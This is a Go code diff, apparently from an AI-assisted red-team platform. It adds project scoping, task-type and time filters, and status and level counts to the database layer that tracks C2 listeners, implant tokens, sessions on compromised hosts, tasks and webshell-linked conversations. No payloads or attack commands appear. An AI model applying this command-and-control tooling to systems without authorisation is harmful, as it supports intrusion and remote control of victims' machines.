}, "\n")
|
||||||
|
if err := os.WriteFile(path, []byte(initial), 0644); err != nil {
|
||||||
|
t.Fatalf("write config: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg, err := Load(path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Load: %v", err)
|
||||||
|
}
|
||||||
|
if cfg.OpenAI.Model != "deepseek-chat" || cfg.OpenAI.APIKey != "deepseek-key" || cfg.OpenAI.MaxTotalTokens != 64000 {
|
||||||
|
t.Fatalf("runtime OpenAI config did not follow ai.default_channel: %+v", cfg.OpenAI)
|
||||||
|
}
|
||||||
|
oa, id, ok := cfg.ResolveAIChannel("qwen")
|
||||||
|
if !ok || id != "qwen" || oa.Model != "qwen-max" || oa.APIKey != "qwen-key" {
|
||||||
|
t.Fatalf("ResolveAIChannel(qwen) = (%+v, %q, %v)", oa, id, ok)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestSummarizationUserIntentLedgerRunesEffective(t *testing.T) {
|
func TestSummarizationUserIntentLedgerRunesEffective(t *testing.T) {
|
||||||
var zero MultiAgentEinoMiddlewareConfig
|
var zero MultiAgentEinoMiddlewareConfig
|
||||||
if got := zero.SummarizationUserIntentLedgerMaxRunesEffective(); got != DefaultSummarizationUserIntentLedgerMaxRunes {
|
if got := zero.SummarizationUserIntentLedgerMaxRunesEffective(); got != DefaultSummarizationUserIntentLedgerMaxRunes {
|
||||||
|
|||||||
+185
-18
@@ -46,6 +46,7 @@ func validC2TextIDForDelete(id string) bool {
|
|||||||
// C2Listener 监听器实体
|
// C2Listener 监听器实体
|
||||||
type C2Listener struct {
|
type C2Listener struct {
|
||||||
ID string `json:"id"`
|
ID string `json:"id"`
|
||||||
|
ProjectID string `json:"project_id,omitempty"`
|
||||||
Name string `json:"name"`
|
Name string `json:"name"`
|
||||||
Type string `json:"type"` // tcp_reverse|http_beacon|https_beacon|websocket|dns
|
Type string `json:"type"` // tcp_reverse|http_beacon|https_beacon|websocket|dns
|
||||||
BindHost string `json:"bindHost"` // 默认 127.0.0.1
|
BindHost string `json:"bindHost"` // 默认 127.0.0.1
|
||||||
@@ -165,12 +166,12 @@ func (db *DB) CreateC2Listener(l *C2Listener) error {
|
|||||||
l.ConfigJSON = "{}"
|
l.ConfigJSON = "{}"
|
||||||
}
|
}
|
||||||
query := `
|
query := `
|
||||||
INSERT INTO c2_listeners (id, name, type, bind_host, bind_port, profile_id, encryption_key,
|
INSERT INTO c2_listeners (id, project_id, name, type, bind_host, bind_port, profile_id, encryption_key,
|
||||||
implant_token, status, config_json, remark, owner_user_id, created_at, started_at, last_error)
|
implant_token, status, config_json, remark, owner_user_id, created_at, started_at, last_error)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
`
|
`
|
||||||
_, err := db.Exec(query,
|
_, err := db.Exec(query,
|
||||||
l.ID, l.Name, l.Type, l.BindHost, l.BindPort, l.ProfileID, l.EncryptionKey,
|
l.ID, strings.TrimSpace(l.ProjectID), l.Name, l.Type, l.BindHost, l.BindPort, l.ProfileID, l.EncryptionKey,
|
||||||
l.ImplantToken, l.Status, l.ConfigJSON, l.Remark, l.OwnerUserID, l.CreatedAt, l.StartedAt, l.LastError,
|
l.ImplantToken, l.Status, l.ConfigJSON, l.Remark, l.OwnerUserID, l.CreatedAt, l.StartedAt, l.LastError,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -190,12 +191,12 @@ func (db *DB) UpdateC2Listener(l *C2Listener) error {
|
|||||||
}
|
}
|
||||||
query := `
|
query := `
|
||||||
UPDATE c2_listeners SET
|
UPDATE c2_listeners SET
|
||||||
name = ?, type = ?, bind_host = ?, bind_port = ?, profile_id = ?, encryption_key = ?,
|
project_id = ?, name = ?, type = ?, bind_host = ?, bind_port = ?, profile_id = ?, encryption_key = ?,
|
||||||
implant_token = ?, status = ?, config_json = ?, remark = ?, owner_user_id = ?, started_at = ?, last_error = ?
|
implant_token = ?, status = ?, config_json = ?, remark = ?, owner_user_id = ?, started_at = ?, last_error = ?
|
||||||
WHERE id = ?
|
WHERE id = ?
|
||||||
`
|
`
|
||||||
res, err := db.Exec(query,
|
res, err := db.Exec(query,
|
||||||
l.Name, l.Type, l.BindHost, l.BindPort, l.ProfileID, l.EncryptionKey,
|
strings.TrimSpace(l.ProjectID), l.Name, l.Type, l.BindHost, l.BindPort, l.ProfileID, l.EncryptionKey,
|
||||||
l.ImplantToken, l.Status, l.ConfigJSON, l.Remark, l.OwnerUserID, l.StartedAt, l.LastError, l.ID,
|
l.ImplantToken, l.Status, l.ConfigJSON, l.Remark, l.OwnerUserID, l.StartedAt, l.LastError, l.ID,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -229,7 +230,7 @@ func (db *DB) SetC2ListenerStatus(id, status, lastError string, startedAt *time.
|
|||||||
// GetC2Listener 单条查询
|
// GetC2Listener 单条查询
|
||||||
func (db *DB) GetC2Listener(id string) (*C2Listener, error) {
|
func (db *DB) GetC2Listener(id string) (*C2Listener, error) {
|
||||||
query := `
|
query := `
|
||||||
SELECT id, name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
SELECT id, COALESCE(project_id, ''), name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||||
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
||||||
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
||||||
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
||||||
@@ -238,7 +239,7 @@ func (db *DB) GetC2Listener(id string) (*C2Listener, error) {
|
|||||||
var l C2Listener
|
var l C2Listener
|
||||||
var startedAt sql.NullTime
|
var startedAt sql.NullTime
|
||||||
err := db.QueryRow(query, id).Scan(
|
err := db.QueryRow(query, id).Scan(
|
||||||
&l.ID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
&l.ID, &l.ProjectID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||||
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
||||||
&l.ConfigJSON, &l.Remark,
|
&l.ConfigJSON, &l.Remark,
|
||||||
&l.OwnerUserID, &l.CreatedAt, &startedAt, &l.LastError,
|
&l.OwnerUserID, &l.CreatedAt, &startedAt, &l.LastError,
|
||||||
@@ -259,7 +260,7 @@ func (db *DB) GetC2Listener(id string) (*C2Listener, error) {
|
|||||||
// ListC2Listeners 全量列表,按创建时间倒序
|
// ListC2Listeners 全量列表,按创建时间倒序
|
||||||
func (db *DB) ListC2Listeners() ([]*C2Listener, error) {
|
func (db *DB) ListC2Listeners() ([]*C2Listener, error) {
|
||||||
query := `
|
query := `
|
||||||
SELECT id, name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
SELECT id, COALESCE(project_id, ''), name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||||
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
||||||
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
||||||
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
||||||
@@ -275,7 +276,7 @@ func (db *DB) ListC2Listeners() ([]*C2Listener, error) {
|
|||||||
var l C2Listener
|
var l C2Listener
|
||||||
var startedAt sql.NullTime
|
var startedAt sql.NullTime
|
||||||
if err := rows.Scan(
|
if err := rows.Scan(
|
||||||
&l.ID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
&l.ID, &l.ProjectID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||||
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
||||||
&l.ConfigJSON, &l.Remark,
|
&l.ConfigJSON, &l.Remark,
|
||||||
&l.OwnerUserID, &l.CreatedAt, &startedAt, &l.LastError,
|
&l.OwnerUserID, &l.CreatedAt, &startedAt, &l.LastError,
|
||||||
@@ -293,12 +294,18 @@ func (db *DB) ListC2Listeners() ([]*C2Listener, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ListC2ListenersForAccess lists listeners visible to the resolved RBAC scope.
|
// ListC2ListenersForAccess lists listeners visible to the resolved RBAC scope.
|
||||||
func (db *DB) ListC2ListenersForAccess(access RBACListAccess) ([]*C2Listener, error) {
|
func (db *DB) ListC2ListenersForAccess(access RBACListAccess, projectID string) ([]*C2Listener, error) {
|
||||||
conditions := []string{"1=1"}
|
conditions := []string{"1=1"}
|
||||||
args := []interface{}{}
|
args := []interface{}{}
|
||||||
|
if projectID = strings.TrimSpace(projectID); projectID == ProjectFilterUnbound {
|
||||||
|
conditions = append(conditions, "COALESCE(project_id, '') = ''")
|
||||||
|
} else if projectID != "" {
|
||||||
|
conditions = append(conditions, "COALESCE(project_id, '') = ?")
|
||||||
|
args = append(args, projectID)
|
||||||
|
}
|
||||||
appendC2ListenerAccessFilter(&conditions, &args, access)
|
appendC2ListenerAccessFilter(&conditions, &args, access)
|
||||||
query := `
|
query := `
|
||||||
SELECT id, name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
SELECT id, COALESCE(project_id, ''), name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||||
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
||||||
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
||||||
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
||||||
@@ -316,7 +323,7 @@ func (db *DB) ListC2ListenersForAccess(access RBACListAccess) ([]*C2Listener, er
|
|||||||
var l C2Listener
|
var l C2Listener
|
||||||
var startedAt sql.NullTime
|
var startedAt sql.NullTime
|
||||||
if err := rows.Scan(
|
if err := rows.Scan(
|
||||||
&l.ID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
&l.ID, &l.ProjectID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||||
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
||||||
&l.ConfigJSON, &l.Remark, &l.OwnerUserID,
|
&l.ConfigJSON, &l.Remark, &l.OwnerUserID,
|
||||||
&l.CreatedAt, &startedAt, &l.LastError,
|
&l.CreatedAt, &startedAt, &l.LastError,
|
||||||
@@ -535,6 +542,7 @@ func (db *DB) queryC2SessionWhere(whereClause string, args ...interface{}) (*C2S
|
|||||||
// ListC2SessionsFilter 列表过滤参数
|
// ListC2SessionsFilter 列表过滤参数
|
||||||
type ListC2SessionsFilter struct {
|
type ListC2SessionsFilter struct {
|
||||||
ListenerID string
|
ListenerID string
|
||||||
|
ProjectID string
|
||||||
Status string // active|sleeping|dead|killed;空表示全部
|
Status string // active|sleeping|dead|killed;空表示全部
|
||||||
OS string
|
OS string
|
||||||
Search string // 模糊匹配 hostname/username/internal_ip
|
Search string // 模糊匹配 hostname/username/internal_ip
|
||||||
@@ -550,6 +558,18 @@ func (db *DB) ListC2Sessions(filter ListC2SessionsFilter) ([]*C2Session, error)
|
|||||||
conditions = append(conditions, "listener_id = ?")
|
conditions = append(conditions, "listener_id = ?")
|
||||||
args = append(args, filter.ListenerID)
|
args = append(args, filter.ListenerID)
|
||||||
}
|
}
|
||||||
|
if strings.TrimSpace(filter.ProjectID) == ProjectFilterUnbound {
|
||||||
|
conditions = append(conditions, `EXISTS (
|
||||||
|
SELECT 1 FROM c2_listeners l
|
||||||
|
WHERE l.id = c2_sessions.listener_id AND COALESCE(l.project_id, '') = ''
|
||||||
|
)`)
|
||||||
|
} else if strings.TrimSpace(filter.ProjectID) != "" {
|
||||||
|
conditions = append(conditions, `EXISTS (
|
||||||
|
SELECT 1 FROM c2_listeners l
|
||||||
|
WHERE l.id = c2_sessions.listener_id AND COALESCE(l.project_id, '') = ?
|
||||||
|
)`)
|
||||||
|
args = append(args, strings.TrimSpace(filter.ProjectID))
|
||||||
|
}
|
||||||
if filter.Status != "" {
|
if filter.Status != "" {
|
||||||
conditions = append(conditions, "status = ?")
|
conditions = append(conditions, "status = ?")
|
||||||
args = append(args, filter.Status)
|
args = append(args, filter.Status)
|
||||||
@@ -645,6 +665,18 @@ func buildC2SessionsWhere(filter ListC2SessionsFilter) ([]string, []interface{})
|
|||||||
conditions = append(conditions, "listener_id = ?")
|
conditions = append(conditions, "listener_id = ?")
|
||||||
args = append(args, filter.ListenerID)
|
args = append(args, filter.ListenerID)
|
||||||
}
|
}
|
||||||
|
if strings.TrimSpace(filter.ProjectID) == ProjectFilterUnbound {
|
||||||
|
conditions = append(conditions, `EXISTS (
|
||||||
|
SELECT 1 FROM c2_listeners l
|
||||||
|
WHERE l.id = c2_sessions.listener_id AND COALESCE(l.project_id, '') = ''
|
||||||
|
)`)
|
||||||
|
} else if strings.TrimSpace(filter.ProjectID) != "" {
|
||||||
|
conditions = append(conditions, `EXISTS (
|
||||||
|
SELECT 1 FROM c2_listeners l
|
||||||
|
WHERE l.id = c2_sessions.listener_id AND COALESCE(l.project_id, '') = ?
|
||||||
|
)`)
|
||||||
|
args = append(args, strings.TrimSpace(filter.ProjectID))
|
||||||
|
}
|
||||||
if filter.Status != "" {
|
if filter.Status != "" {
|
||||||
conditions = append(conditions, "status = ?")
|
conditions = append(conditions, "status = ?")
|
||||||
args = append(args, filter.Status)
|
args = append(args, filter.Status)
|
||||||
@@ -947,7 +979,10 @@ func (db *DB) GetC2Task(id string) (*C2Task, error) {
|
|||||||
// ListC2TasksFilter 任务过滤
|
// ListC2TasksFilter 任务过滤
|
||||||
type ListC2TasksFilter struct {
|
type ListC2TasksFilter struct {
|
||||||
SessionID string
|
SessionID string
|
||||||
|
ProjectID string
|
||||||
Status string
|
Status string
|
||||||
|
TaskType string
|
||||||
|
Since *time.Time
|
||||||
Limit int
|
Limit int
|
||||||
Offset int
|
Offset int
|
||||||
}
|
}
|
||||||
@@ -959,10 +994,32 @@ func buildC2TasksWhere(filter ListC2TasksFilter) (where string, args []interface
|
|||||||
conditions = append(conditions, "session_id = ?")
|
conditions = append(conditions, "session_id = ?")
|
||||||
args = append(args, filter.SessionID)
|
args = append(args, filter.SessionID)
|
||||||
}
|
}
|
||||||
|
if strings.TrimSpace(filter.ProjectID) == ProjectFilterUnbound {
|
||||||
|
conditions = append(conditions, `EXISTS (
|
||||||
|
SELECT 1 FROM c2_sessions s
|
||||||
|
JOIN c2_listeners l ON l.id = s.listener_id
|
||||||
|
WHERE s.id = c2_tasks.session_id AND COALESCE(l.project_id, '') = ''
|
||||||
|
)`)
|
||||||
|
} else if strings.TrimSpace(filter.ProjectID) != "" {
|
||||||
|
conditions = append(conditions, `EXISTS (
|
||||||
|
SELECT 1 FROM c2_sessions s
|
||||||
|
JOIN c2_listeners l ON l.id = s.listener_id
|
||||||
|
WHERE s.id = c2_tasks.session_id AND COALESCE(l.project_id, '') = ?
|
||||||
|
)`)
|
||||||
|
args = append(args, strings.TrimSpace(filter.ProjectID))
|
||||||
|
}
|
||||||
if filter.Status != "" {
|
if filter.Status != "" {
|
||||||
conditions = append(conditions, "status = ?")
|
conditions = append(conditions, "status = ?")
|
||||||
args = append(args, filter.Status)
|
args = append(args, filter.Status)
|
||||||
}
|
}
|
||||||
|
if strings.TrimSpace(filter.TaskType) != "" {
|
||||||
|
conditions = append(conditions, "task_type = ?")
|
||||||
|
args = append(args, strings.TrimSpace(filter.TaskType))
|
||||||
|
}
|
||||||
|
if filter.Since != nil {
|
||||||
|
conditions = append(conditions, sqliteEpochGE("created_at", ">="))
|
||||||
|
args = append(args, formatSQLiteUTC(*filter.Since))
|
||||||
|
}
|
||||||
return strings.Join(conditions, " AND "), args
|
return strings.Join(conditions, " AND "), args
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1016,6 +1073,43 @@ func (db *DB) CountC2TasksForAccess(filter ListC2TasksFilter, access RBACListAcc
|
|||||||
return n, err
|
return n, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CountC2TasksByStatusForAccess 与 ListC2Tasks 相同过滤条件下按状态统计
|
||||||
|
func (db *DB) CountC2TasksByStatusForAccess(filter ListC2TasksFilter, access RBACListAccess) (map[string]int64, error) {
|
||||||
|
where, args := buildC2TasksWhereForAccess(filter, access)
|
||||||
|
query := `SELECT status, COUNT(*) FROM c2_tasks WHERE ` + where + ` GROUP BY status`
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
counts := map[string]int64{
|
||||||
|
"queued": 0,
|
||||||
|
"sent": 0,
|
||||||
|
"running": 0,
|
||||||
|
"success": 0,
|
||||||
|
"failed": 0,
|
||||||
|
"cancelled": 0,
|
||||||
|
"pending": 0,
|
||||||
|
}
|
||||||
|
var legacyPending int64
|
||||||
|
for rows.Next() {
|
||||||
|
var status string
|
||||||
|
var n int64
|
||||||
|
if err := rows.Scan(&status, &n); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if status == "pending" {
|
||||||
|
legacyPending = n
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := counts[status]; ok {
|
||||||
|
counts[status] = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
counts["pending"] = counts["queued"] + counts["sent"] + counts["running"] + legacyPending
|
||||||
|
return counts, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
// CountC2TasksQueuedOrPending 统计 queued/pending 状态任务数(仪表盘「待审任务」)
|
// CountC2TasksQueuedOrPending 统计 queued/pending 状态任务数(仪表盘「待审任务」)
|
||||||
func (db *DB) CountC2TasksQueuedOrPending(sessionID string) (int64, error) {
|
func (db *DB) CountC2TasksQueuedOrPending(sessionID string) (int64, error) {
|
||||||
conditions := []string{"status IN ('queued', 'pending')"}
|
conditions := []string{"status IN ('queued', 'pending')"}
|
||||||
@@ -1030,8 +1124,8 @@ func (db *DB) CountC2TasksQueuedOrPending(sessionID string) (int64, error) {
|
|||||||
return n, err
|
return n, err
|
||||||
}
|
}
|
||||||
|
|
||||||
func (db *DB) CountC2TasksQueuedOrPendingForAccess(sessionID string, access RBACListAccess) (int64, error) {
|
func (db *DB) CountC2TasksQueuedOrPendingForAccess(sessionID, projectID string, access RBACListAccess) (int64, error) {
|
||||||
filter := ListC2TasksFilter{SessionID: sessionID}
|
filter := ListC2TasksFilter{SessionID: sessionID, ProjectID: projectID}
|
||||||
where, args := buildC2TasksWhereForAccess(filter, access)
|
where, args := buildC2TasksWhereForAccess(filter, access)
|
||||||
query := `SELECT COUNT(*) FROM c2_tasks WHERE status IN ('queued', 'pending') AND ` + where
|
query := `SELECT COUNT(*) FROM c2_tasks WHERE status IN ('queued', 'pending') AND ` + where
|
||||||
var n int64
|
var n int64
|
||||||
@@ -1387,7 +1481,9 @@ func (db *DB) AppendC2Event(e *C2Event) error {
|
|||||||
return errors.New("event id is required")
|
return errors.New("event id is required")
|
||||||
}
|
}
|
||||||
if e.CreatedAt.IsZero() {
|
if e.CreatedAt.IsZero() {
|
||||||
e.CreatedAt = time.Now()
|
e.CreatedAt = time.Now().UTC()
|
||||||
|
} else {
|
||||||
|
e.CreatedAt = e.CreatedAt.UTC()
|
||||||
}
|
}
|
||||||
if strings.TrimSpace(e.Level) == "" {
|
if strings.TrimSpace(e.Level) == "" {
|
||||||
e.Level = "info"
|
e.Level = "info"
|
||||||
@@ -1402,7 +1498,7 @@ func (db *DB) AppendC2Event(e *C2Event) error {
|
|||||||
INSERT INTO c2_events (id, level, category, session_id, task_id, message, data_json, created_at)
|
INSERT INTO c2_events (id, level, category, session_id, task_id, message, data_json, created_at)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
`
|
`
|
||||||
_, err := db.Exec(query, e.ID, e.Level, e.Category, e.SessionID, e.TaskID, e.Message, dataJSON, e.CreatedAt)
|
_, err := db.Exec(query, e.ID, e.Level, e.Category, e.SessionID, e.TaskID, e.Message, dataJSON, formatSQLiteUTC(e.CreatedAt))
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1410,6 +1506,7 @@ func (db *DB) AppendC2Event(e *C2Event) error {
|
|||||||
type ListC2EventsFilter struct {
|
type ListC2EventsFilter struct {
|
||||||
Level string
|
Level string
|
||||||
Category string
|
Category string
|
||||||
|
ProjectID string
|
||||||
SessionID string
|
SessionID string
|
||||||
TaskID string
|
TaskID string
|
||||||
Since *time.Time
|
Since *time.Time
|
||||||
@@ -1428,6 +1525,49 @@ func buildC2EventsWhere(filter ListC2EventsFilter) (where string, args []interfa
|
|||||||
conditions = append(conditions, "category = ?")
|
conditions = append(conditions, "category = ?")
|
||||||
args = append(args, filter.Category)
|
args = append(args, filter.Category)
|
||||||
}
|
}
|
||||||
|
if strings.TrimSpace(filter.ProjectID) == ProjectFilterUnbound {
|
||||||
|
conditions = append(conditions, `(
|
||||||
|
EXISTS (
|
||||||
|
SELECT 1 FROM c2_sessions s
|
||||||
|
JOIN c2_listeners l ON l.id = s.listener_id
|
||||||
|
WHERE s.id = c2_events.session_id AND COALESCE(l.project_id, '') = ''
|
||||||
|
)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM c2_tasks t
|
||||||
|
JOIN c2_sessions s ON s.id = t.session_id
|
||||||
|
JOIN c2_listeners l ON l.id = s.listener_id
|
||||||
|
WHERE t.id = c2_events.task_id AND COALESCE(l.project_id, '') = ''
|
||||||
|
)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM c2_listeners l
|
||||||
|
WHERE json_valid(c2_events.data_json)
|
||||||
|
AND l.id = json_extract(c2_events.data_json, '$.listener_id')
|
||||||
|
AND COALESCE(l.project_id, '') = ''
|
||||||
|
)
|
||||||
|
)`)
|
||||||
|
} else if strings.TrimSpace(filter.ProjectID) != "" {
|
||||||
|
conditions = append(conditions, `(
|
||||||
|
EXISTS (
|
||||||
|
SELECT 1 FROM c2_sessions s
|
||||||
|
JOIN c2_listeners l ON l.id = s.listener_id
|
||||||
|
WHERE s.id = c2_events.session_id AND COALESCE(l.project_id, '') = ?
|
||||||
|
)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM c2_tasks t
|
||||||
|
JOIN c2_sessions s ON s.id = t.session_id
|
||||||
|
JOIN c2_listeners l ON l.id = s.listener_id
|
||||||
|
WHERE t.id = c2_events.task_id AND COALESCE(l.project_id, '') = ?
|
||||||
|
)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM c2_listeners l
|
||||||
|
WHERE json_valid(c2_events.data_json)
|
||||||
|
AND l.id = json_extract(c2_events.data_json, '$.listener_id')
|
||||||
|
AND COALESCE(l.project_id, '') = ?
|
||||||
|
)
|
||||||
|
)`)
|
||||||
|
pid := strings.TrimSpace(filter.ProjectID)
|
||||||
|
args = append(args, pid, pid, pid)
|
||||||
|
}
|
||||||
if filter.SessionID != "" {
|
if filter.SessionID != "" {
|
||||||
conditions = append(conditions, "session_id = ?")
|
conditions = append(conditions, "session_id = ?")
|
||||||
args = append(args, filter.SessionID)
|
args = append(args, filter.SessionID)
|
||||||
@@ -1437,8 +1577,8 @@ func buildC2EventsWhere(filter ListC2EventsFilter) (where string, args []interfa
|
|||||||
args = append(args, filter.TaskID)
|
args = append(args, filter.TaskID)
|
||||||
}
|
}
|
||||||
if filter.Since != nil {
|
if filter.Since != nil {
|
||||||
conditions = append(conditions, "created_at >= ?")
|
conditions = append(conditions, sqliteEpochGE("created_at", ">="))
|
||||||
args = append(args, *filter.Since)
|
args = append(args, formatSQLiteUTC(*filter.Since))
|
||||||
}
|
}
|
||||||
return strings.Join(conditions, " AND "), args
|
return strings.Join(conditions, " AND "), args
|
||||||
}
|
}
|
||||||
@@ -1510,6 +1650,33 @@ func (db *DB) CountC2EventsForAccess(filter ListC2EventsFilter, access RBACListA
|
|||||||
return n, err
|
return n, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CountC2EventsByLevelForAccess 与 ListC2Events 相同过滤条件下按级别统计
|
||||||
|
func (db *DB) CountC2EventsByLevelForAccess(filter ListC2EventsFilter, access RBACListAccess) (map[string]int64, error) {
|
||||||
|
where, args := buildC2EventsWhereForAccess(filter, access)
|
||||||
|
query := `SELECT level, COUNT(*) FROM c2_events WHERE ` + where + ` GROUP BY level`
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
counts := map[string]int64{
|
||||||
|
"info": 0,
|
||||||
|
"warn": 0,
|
||||||
|
"critical": 0,
|
||||||
|
}
|
||||||
|
for rows.Next() {
|
||||||
|
var level string
|
||||||
|
var n int64
|
||||||
|
if err := rows.Scan(&level, &n); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := counts[level]; ok {
|
||||||
|
counts[level] = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return counts, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
// ListC2Events 事件查询,按创建时间倒序
|
// ListC2Events 事件查询,按创建时间倒序
|
||||||
func (db *DB) ListC2Events(filter ListC2EventsFilter) ([]*C2Event, error) {
|
func (db *DB) ListC2Events(filter ListC2EventsFilter) ([]*C2Event, error) {
|
||||||
where, args := buildC2EventsWhere(filter)
|
where, args := buildC2EventsWhere(filter)
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ type Conversation struct {
|
|||||||
ID string `json:"id"`
|
ID string `json:"id"`
|
||||||
Title string `json:"title"`
|
Title string `json:"title"`
|
||||||
ProjectID string `json:"projectId,omitempty"`
|
ProjectID string `json:"projectId,omitempty"`
|
||||||
|
RoleName string `json:"roleName,omitempty"`
|
||||||
Pinned bool `json:"pinned"`
|
Pinned bool `json:"pinned"`
|
||||||
CreatedAt time.Time `json:"createdAt"`
|
CreatedAt time.Time `json:"createdAt"`
|
||||||
UpdatedAt time.Time `json:"updatedAt"`
|
UpdatedAt time.Time `json:"updatedAt"`
|
||||||
@@ -57,29 +58,30 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string,
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
roleName := normalizeConversationRoleName(meta.RoleName)
|
||||||
|
|
||||||
var err error
|
var err error
|
||||||
wsID := strings.TrimSpace(webshellConnectionID)
|
wsID := strings.TrimSpace(webshellConnectionID)
|
||||||
switch {
|
switch {
|
||||||
case wsID != "" && projectID != "":
|
case wsID != "" && projectID != "":
|
||||||
_, err = db.Exec(
|
_, err = db.Exec(
|
||||||
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id) VALUES (?, ?, ?, ?, ?, ?)",
|
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id, role_name) VALUES (?, ?, ?, ?, ?, ?, ?)",
|
||||||
id, title, now, now, wsID, projectID,
|
id, title, now, now, wsID, projectID, roleName,
|
||||||
)
|
)
|
||||||
case wsID != "":
|
case wsID != "":
|
||||||
_, err = db.Exec(
|
_, err = db.Exec(
|
||||||
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id) VALUES (?, ?, ?, ?, ?)",
|
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, role_name) VALUES (?, ?, ?, ?, ?, ?)",
|
||||||
id, title, now, now, wsID,
|
id, title, now, now, wsID, roleName,
|
||||||
)
|
)
|
||||||
case projectID != "":
|
case projectID != "":
|
||||||
_, err = db.Exec(
|
_, err = db.Exec(
|
||||||
"INSERT INTO conversations (id, title, created_at, updated_at, project_id) VALUES (?, ?, ?, ?, ?)",
|
"INSERT INTO conversations (id, title, created_at, updated_at, project_id, role_name) VALUES (?, ?, ?, ?, ?, ?)",
|
||||||
id, title, now, now, projectID,
|
id, title, now, now, projectID, roleName,
|
||||||
)
|
)
|
||||||
default:
|
default:
|
||||||
_, err = db.Exec(
|
_, err = db.Exec(
|
||||||
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
|
"INSERT INTO conversations (id, title, created_at, updated_at, role_name) VALUES (?, ?, ?, ?, ?)",
|
||||||
id, title, now, now,
|
id, title, now, now, roleName,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -90,6 +92,7 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string,
|
|||||||
ID: id,
|
ID: id,
|
||||||
Title: title,
|
Title: title,
|
||||||
ProjectID: projectID,
|
ProjectID: projectID,
|
||||||
|
RoleName: roleName,
|
||||||
CreatedAt: now,
|
CreatedAt: now,
|
||||||
UpdatedAt: now,
|
UpdatedAt: now,
|
||||||
